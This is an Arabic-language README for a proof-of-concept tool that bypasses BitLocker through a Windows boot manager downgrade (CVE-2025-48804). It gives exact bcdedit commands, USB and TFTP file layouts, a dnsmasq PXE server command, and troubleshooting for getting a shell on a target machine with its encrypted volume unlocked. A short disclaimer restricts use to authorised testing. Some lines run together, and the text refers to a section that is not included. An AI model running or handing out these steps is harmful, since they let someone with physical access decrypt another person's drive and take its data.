
هجوم خفض الإصدار لـ CVE-2025-48804
مفهوم إثبات للوصول إلى الأقراص المشفرة بـ BitLocker في أقل من 5 دقائق على أجهزة Windows 11 المحدثة بالكامل من خلال هجوم خفض إصدار مدير الإقلاع، مستفيدًا من ثغرة SDI التي تم توثيقها أصلاً كـ CVE-2025-48804. يُصلح التحديث الصادر في يوليو 2025 هذه الثغرة في bootmgfw.efi، لذا يمكن استخدام أي ملف bootmgfw.efi سابق للتحديث موقع تحت PCA 2011 لشن هجوم خفض الإصدار، شريطة أن يثق النظام الهدف في هذه الشهادة.
يوفر هذا الإثبات طريقتين للتسليم: الإقلاع عبر USB (الأبسط والموصى به) والإقلاع عبر PXE. لكن نظريًا، يمكنك أيضًا نسخ ملف إقلاع SDI إلى أحد الأقسام الافتراضية غير المشفرة (ESP والاسترداد) وعدم الاهتمام بـ USB أو PXE - راجع جدول "الحالات الحدية".
يستند هذا العمل بالكامل إلى بحث Microsoft STORM (Netanel Ben Simon و Alon Leviev):
BitUnlocker: استغلال بيئة الاسترداد في Windows لاستخراج أسرار BitLocker
dnsmasq وكابل إيثرنت لـ PXEضعه في USB/sdi/ (لطريقة USB) أو TFTP-root/sdi/ (لطريقة PXE).
على الجهاز الهدف، افتح موجه أوامر WinRE (اضغط مع الاستمرار على Shift أثناء النقر على إعادة التشغيل، ثم استكشاف الأخطاء وإصلاحها > موجه الأوامر — انقر على "تجاهل هذا القرص" عندما يُطلب منك مفتاح استرداد BitLocker وانقر على "إعادة التشغيل" إذا قيل لك أيضًا أن موجه الأوامر لا يمكن تشغيله على جهاز مقفل — وإذا لم يتم فتح موجه الأوامر، استخدم WinPE الخاص بك إن أمكن). قم بتوصيل ذاكرة USB وتشغيل:
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all
في المخرجات، ابحث عن إدخال خيارات الجهاز الذي يكون وصفه "Windows Recovery" ويحتوي على إدخالات ramdisksdidevice / ramdisksdipath. سجل معرف GUID الخاص به، ثم:
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD
ضع ملف BCD الناتج في الموقع المناسب حسب طريقتك:
USB/EFI/Microsoft/Boot/BCDTFTP-root/Boot/BCDقم بتهيئة ذاكرة USB كـ FAT32 وانسخ محتويات دليل USB/ إلى جذرها (فقط محتواه، لا ينبغي وجود مجلد "USB"). يجب أن تبدو ذاكرة USB هكذا:
USB stick root/
├── EFI/
│ ├── Boot/
│ │ └── bootx64.efi # Pre-patch boot manager (PCA 2011)
│ └── Microsoft/
│ └── Boot/
│ └── BCD # Your modified BCD
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
قم بتوصيل ذاكرة USB بالجهاز الهدف وشغل إقلاع USB عبر UEFI — إما من WinRE (استخدام جهاز) أو بالضغط على مفتاح قائمة الإقلاع الخاص بالشركة المصنعة عند التشغيل (F12، F9، إلخ). إذا لم تظهر ذاكرة USB في قائمة خيارات الإقلاع، ابحث عن خيار "الإقلاع من ملف" في قائمة إقلاع UEFI، ثم انتقل إلى EFI/Boot/bootx64.efi على ذاكرة USB.
دليل TFTP-root/ منظم على النحو التالي:
TFTP-root/
├── bootmgfw.efi # Pre-patch boot manager (PCA 2011)
├── Boot/
│ └── BCD # Your modified BCD
├── EFI/
│ └── Microsoft/
│ └── Boot/
│ └── bootmgfw.efi # Same pre-patch boot manager
└── sdi/
└── boot_patched.sdi # Patched SDI with custom WinRE
قم بتوصيل الجهاز الهدف بجهاز Linux الخاص بك عبر كابل إيثرنت وابدأ خادم PXE:
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root
sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
--interface="$INTERFACE" \
--dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
--dhcp-boot=bootmgfw.efi \
--enable-tftp \
--tftp-root="$ABS_TFTP_ROOT" \
--log-dhcp \
--tftp-max=65464 \
--port=0
قم بتشغيل الإقلاع عبر PXE على الجهاز الهدف — من WinRE اختر استخدام جهاز > شبكة IPv4، أو اضغط على مفتاح إقلاع PXE الخاص بالشركة المصنعة.
سيقوم مدير الإقلاع بتحميل BCD، ثم يبدأ في تنزيل boot_patched.sdi. ملف SDI كبير (~300 ميجابايت) لذا يستغرق هذا لحظة من USB، أو عدة دقائق عبر TFTP. يجب أن تظهر رسالة متعلقة بالاسترداد مع مسار SDI على شاشة الهدف أثناء التحميل.
بمجرد اكتمال النقل، يجب أن يظهر موجه أوامر مع وحدة تخزين نظام التشغيل مفكوكة التشفير ومثبتة (عادةً C: أو E:). إذا لم يتم تثبيتها تلقائيًا أو لا تريد تخمين الحرف، فقط قم بتشغيل diskpart -> sel vol X (التي تبدو وكأنها محرك الأقراص المشفر) -> assign letter=C (أو شيء آخر) -> exit -> الربح
لقد أدرجت نصين برمجيين في scripts/:
patch_sdi.py — لبناء ملف SDI معدل من ملف boot.sdi وملف WinRE.wimparse_sdi.py — لتحليل ملف SDI للتحقق من هيكله ومحتواهيحتوي ملف boot_patched.sdi المقدم في الإصدارات على WinRE.wim معدل حيث يكون تطبيق الإطلاق هو cmd.exe.
bootmgfw.efi موقع من CA 2023 افتراضيًا. للتحقق، قم بتحميل قسم EFI وافحص الثنائي النشط: mountvol S: /s ثم sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. لاحظ أن C:\Windows\Boot\EFI\bootmgfw.efi قد يختلف عن الملف المستخدم فعليًا عند الإقلاع — تحقق دائمًا من نسخة قسم EFI.Microsoft STORM (Netanel Ben Simon و Alon Leviev) للبحث الأصلي حول BitUnlocker والإفصاح عن الثغرة الأمنية.
هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.
تم توفير هذا المستودع وجميع محتوياته بدقة لأغراض اختبار الأمان المصرح به والبحث. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن استخدام هذه المواد.
| الموقف | ماذا يحدث |
|---|
| BitLocker مهيأ برمز PIN تعرفه | شاشة زرقاء عند الإقلاع — اكتب الرقم PIN بشكل أعمى (آسف لم أهتم بخطوط BitLocker في هذا المستودع) واضغط Enter |
| شاشة زرقاء، بدون PIN | من المحتمل أن الهدف قد هاجر إلى CA 2023 — اضغط Escape واترك نقل SDI يكتمل على أي حال، لكن من المحتمل جدًا أن يكون محرك الأقراص المشفر بـ BitLocker مقفلاً في النهاية |
| USB-C / Thunderbolt فقط | استخدم محرك أقراص USB-C أو محول USB-Ethernet (لـ PXE) |
| ملف TFTP غير موجود (بخلاف ملفات الخطوط غير المرغوب فيها التي لا نهتم بها) | أسماء الملفات حساسة لحالة الأحرف — أعد تسمية bootmgfw.efi لتطابق ما يطلبه الهدف |
| لا يُسمح بالإقلاع عبر PXE أو USB | تحقق من المساحة المتاحة لأقسام ESP والاسترداد (diskpart -> list vol). إذا كانت هناك مساحة كافية لملف Boot.sdi المقدم (حوالي 300 ميجابايت) في أي من القسمين، ضعه هناك. عندها، سيكون الاستغلال مختلفًا قليلاً (لكنه لا يزال بنفس السرعة) حيث ستحتاج إلى تعديل ملف BCD الخاص بالنظام الهدف مباشرة (يرجى عمل نسخة احتياطية) للإشارة إلى قسم المضيف غير المشفر (على وجه الخصوص إدخال ramdisksdidevice في BCD)، واستبدال bootmgfw.efi الخاص بهدفك بالملف الموجود في مجلد TFTP لهذا المستودع. في هذه الحالة، تأكد من التحقق من أن مدير الإقلاع الخاص بهدفك موقّع من PCA 2011 (لن يعمل الاستغلال في هذه الحالة على أي حال، تحقق دائمًا من ذلك)، وإلا ستضع النظام في استرداد BitLocker. أيضًا، إذا لم تكن هناك مساحة كافية لملف Boot.sdi المقدم في هذا المستودع، يمكنك محاولة إنشاء نسخة أصغر بنفسك، فهناك بالتأكيد بعض الطرق للقيام بذلك (انظر قسم "إنشاء ملف SDI خاص بك" أدناه) |